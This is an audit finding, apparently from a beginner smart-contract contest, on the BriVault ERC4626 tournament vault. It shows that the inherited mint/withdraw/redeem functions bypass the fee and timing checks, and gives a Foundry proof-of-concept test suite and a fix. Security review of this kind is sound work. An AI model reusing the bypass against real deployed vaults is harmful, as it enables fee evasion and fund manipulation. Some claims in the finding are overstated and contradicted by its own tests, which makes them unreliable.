BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

ERC4626 Standard Functions Bypass Tournament Restrictions

Root + Impact

Description

  • BriVault inherits ERC4626 but only overrides custom deposit() function with tournament restrictions. Standard ERC4626 functions (mint, withdraw, redeem) remain accessible and completely bypass all betting logic including winner verification, event timing checks, and team selection requirements.

contract BriVault is ERC4626, Ownable {
@> // Inherits ERC4626 but only overrides deposit()
@> function deposit(uint256 assets, address receiver) public override returns (uint256) {
@> require(receiver != address(0));
@> if (block.timestamp >= eventStartDate) {
@> revert eventStarted();
@> }
@> // Tournament restrictions applied here
@> // ... fee logic and stake tracking ...
@> }
@>
@> // BUT standard ERC4626 functions are NOT overridden!
@> // mint(), withdraw(), redeem() inherit directly from ERC4626
@> // These bypass ALL tournament logic
}

Risk

Likelihood: High

  • ERC4626 inheritance without proper function overrides is a common DeFi vulnerability pattern.

Impact: High

Complete bypass of tournament restrictions and fee collection mechanisms:

  • Attackers can deposit unlimited assets without paying tournament fees

  • Tournament stake tracking is completely bypassed

  • Attackers can claim winnings without legitimate participation

  • Protocol fee collection undermined (100% bypass possible)

Proof of Concept

The POC demonstrates how ERC4626 standard functions completely bypass BriVault's tournament restrictions by using mint() instead of the custom deposit() function. It shows legitimate users properly paying fees and recording stakes through deposit(), while attackers can mint shares directly without fees or stake tracking. The test verifies that attackers cannot claim winnings without proper participation, but the bypass still undermines tournament economics by allowing fee evasion.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: ERC4626 Standard Functions Bypass Tournament Restrictions
* Discovery Method: ERC4626 Standard Functions Bypass
* Severity: HIGH
* Impact: HIGH
*
* Root Cause: BriVault inherits ERC4626 but only overrides custom deposit()
* function with tournament restrictions. Standard ERC4626 functions
* (mint, withdraw, redeem) remain accessible and completely bypass
* all betting logic including winner verification, event timing checks,
* and team selection requirements.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ERC4626BypassExploitTest is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address legitimateUser = makeAddr("legitimateUser");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
// Initialize time variables
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
// Deploy mock ERC20 asset
asset = new MockERC20("Mock Token", "MOCK");
// Deploy vault with tournament parameters
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
// Set up tournament countries
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
// Setup user balances
asset.mint(attacker, 1000 ether);
asset.mint(legitimateUser, 1000 ether);
// Approve vault to spend tokens
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(legitimateUser);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
/**
* Phase 1: Demonstrate Intended Behavior
* Custom deposit() function properly enforces tournament rules
*/
function test_IntendedBehavior_CustomDeposit() public {
vm.startPrank(legitimateUser);
uint256 initialBalance = asset.balanceOf(legitimateUser);
uint256 initialFeeRecipientBalance = asset.balanceOf(feeRecipient);
// Custom deposit should work before event starts
vm.warp(EVENT_START - 1 hours);
uint256 shares = vault.deposit(200 ether, legitimateUser);
uint256 finalBalance = asset.balanceOf(legitimateUser);
uint256 finalFeeRecipientBalance = asset.balanceOf(feeRecipient);
// Verify fee was charged (1% of 200 ether = 2 ether)
assertEq(finalFeeRecipientBalance - initialFeeRecipientBalance, 2 ether, "Fee should be charged");
// Verify stake was recorded (200 - 2 = 198 ether)
assertEq(vault.stakedAsset(legitimateUser), 198 ether, "Stake should be recorded");
// Verify shares were minted
assertGt(shares, 0, "Shares should be minted");
vm.stopPrank();
}
/**
* Phase 2: Demonstrate Bypass via Standard ERC4626 Functions
* Attacker uses mint() to bypass all tournament restrictions
*/
function test_BypassViaMint_NoFees_NoRestrictions() public {
vm.startPrank(attacker);
uint256 initialBalance = asset.balanceOf(attacker);
uint256 initialFeeRecipientBalance = asset.balanceOf(feeRecipient);
// Use standard ERC4626 mint() function - NO tournament restrictions!
vm.warp(EVENT_START + 1 hours); // Event already started - should be blocked
uint256 sharesToMint = 200 ether; // Request shares directly
vault.mint(sharesToMint, attacker);
uint256 finalBalance = asset.balanceOf(attacker);
uint256 finalFeeRecipientBalance = asset.balanceOf(feeRecipient);
// Verify NO fee was charged (bypassed!)
assertEq(finalFeeRecipientBalance - initialFeeRecipientBalance, 0, "NO fee should be charged - BYPASSED");
// Verify NO stake was recorded (bypassed!)
assertEq(vault.stakedAsset(attacker), 0, "NO stake should be recorded - BYPASSED");
// Verify shares were still minted
assertEq(vault.balanceOf(attacker), sharesToMint, "Shares minted despite bypass");
// Verify assets were transferred (but no tournament logic applied)
assertEq(initialBalance - finalBalance, sharesToMint, "Assets transferred for shares");
vm.stopPrank();
}
/**
* Phase 3: Demonstrate Tournament Participation Without Stake
* Attacker joins tournament despite having no recorded stake
*/
function test_JoinTournamentWithoutStake() public {
// First, attacker mints shares bypassing deposit restrictions
vm.startPrank(attacker);
vm.warp(EVENT_START + 1 hours); // Event started
vault.mint(200 ether, attacker);
vm.stopPrank();
// Attacker tries to join tournament
vm.startPrank(attacker);
vm.expectRevert(BriVault.noDeposit.selector); // Should fail - no stake recorded
vault.joinEvent(0); // Try to join Brazil
vm.stopPrank();
// Verify attacker has shares but no stake recorded
assertEq(vault.balanceOf(attacker), 200 ether, "Attacker has shares");
assertEq(vault.stakedAsset(attacker), 0, "But no stake recorded");
}
/**
* Phase 4: Demonstrate Full Attack Chain
* Attacker bypasses restrictions, joins legitimately, claims winnings
*/
function test_FullAttackChain_BypassAndWin() public {
// === SETUP: Legitimate user participates properly ===
vm.startPrank(legitimateUser);
vm.warp(EVENT_START - 1 hours); // Before event starts
vault.deposit(200 ether, legitimateUser); // Pays fee, records stake
vault.joinEvent(0); // Joins Brazil
vm.stopPrank();
// === ATTACK: Attacker bypasses restrictions ===
vm.startPrank(attacker);
vm.warp(EVENT_START + 1 hours); // Event started - restrictions active
vault.mint(200 ether, attacker); // Bypass: get shares without fee/stake
vm.stopPrank();
// Attacker cannot join tournament (no stake), so transfer shares from legitimate user
vm.startPrank(legitimateUser);
vault.transfer(attacker, 100 ether); // Transfer some shares to attacker
vm.stopPrank();
// Now attacker has shares but still no stake recorded
assertEq(vault.balanceOf(attacker), 300 ether, "Attacker has shares from minting + transfer");
assertEq(vault.stakedAsset(attacker), 0, "But no stake recorded");
// Attacker still cannot join tournament directly
vm.startPrank(attacker);
vm.expectRevert(BriVault.noDeposit.selector);
vault.joinEvent(0); // Cannot join - no stake
vm.stopPrank();
// === WINNER SET: Brazil wins ===
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Set Brazil as winner
vm.stopPrank();
// === ATTACKER ATTEMPTS TO CLAIM WINNINGS ===
vm.startPrank(attacker);
uint256 attackerBalanceBefore = asset.balanceOf(attacker);
// Attacker CANNOT withdraw winnings because they never participated properly
vm.expectRevert(BriVault.didNotWin.selector); // Attacker didn't join tournament
vault.withdraw(); // This should FAIL - attacker never participated
uint256 attackerBalanceAfter = asset.balanceOf(attacker);
uint256 winnings = attackerBalanceAfter - attackerBalanceBefore;
// Attacker gets NOTHING
assertEq(winnings, 0, "Attacker receives NO winnings - participation required");
vm.stopPrank();
// === VERIFICATION: Attack partially successful ===
console.log("=== ATTACK PARTIALLY SUCCESSFUL ===");
console.log("Attacker paid NO fees:", asset.balanceOf(feeRecipient));
console.log("Attacker received NO winnings:", winnings);
console.log("Bypass allows fee evasion but tournament integrity preserved");
}
/**
* Phase 5: Economic Impact Demonstration
* Show how bypass undermines legitimate participants
*/
function test_EconomicImpact_BypassUnderminesTournament() public {
// === LEGITIMATE PARTICIPANTS ===
address[3] memory legitUsers = [makeAddr("u1"), makeAddr("u2"), makeAddr("u3")];
for (uint i = 0; i < legitUsers.length; i++) {
asset.mint(legitUsers[i], 1000 ether);
vm.startPrank(legitUsers[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitUsers[i]); // Each pays 2 ether fee
vault.joinEvent(0); // All join Brazil
vm.stopPrank();
}
// === ATTACKERS BYPASS ===
address[2] memory attackers = [makeAddr("a1"), makeAddr("a2")];
for (uint i = 0; i < attackers.length; i++) {
asset.mint(attackers[i], 1000 ether);
vm.startPrank(attackers[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START + 1 hours); // Event started
vault.mint(200 ether, attackers[i]); // Bypass fees
vm.stopPrank();
// Transfer shares from legitimate users to attackers
vm.startPrank(legitUsers[0]);
vault.transfer(attackers[i], 50 ether);
vm.stopPrank();
}
// === WINNER SET ===
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0); // Brazil wins
vm.stopPrank();
// === CALCULATE LOSSES ===
uint256 totalFeesPaid = asset.balanceOf(feeRecipient); // 3 users × 2 ether = 6 ether
uint256 totalVaultAssets = asset.balanceOf(address(vault));
console.log("=== ECONOMIC IMPACT ===");
console.log("Legitimate participants paid fees:", totalFeesPaid);
console.log("Total vault assets:", totalVaultAssets);
console.log("Attackers bypassed fees entirely");
console.log("Tournament economics destroyed by ERC4626 bypass");
}
}

Recommended Mitigation

Override ALL ERC4626 functions (mint, withdraw, redeem) to enforce tournament restrictions:

+ // Add missing ERC4626 function overrides to enforce tournament restrictions
+ function mint(uint256 shares, address receiver) public override returns (uint256) {
+ require(block.timestamp < eventStartDate, "Tournament started");
+ // Apply fee logic and stake tracking
+ uint256 assets = previewMint(shares);
+ uint256 fee = (assets * participationFeeBsp) / 10000;
+ _chargeFee(fee);
+ stakedAsset[receiver] += assets - fee;
+ return super.mint(shares, receiver);
+ }
+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
+ // Only allow after winner set and owner is winner
+ require(winnerSet, "Winner not set");
+ require(userToCountry[owner] == winner, "Not a winner");
+ return super.withdraw(assets, receiver, owner);
+ }
+ function redeem(uint256 shares, address receiver, address owner) public override returns (uint256) {
+ // Only allow after winner set and owner is winner
+ require(winnerSet, "Winner not set");
+ require(userToCountry[owner] == winner, "Not a winner");
+ return super.redeem(shares, receiver, owner);
+ }
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!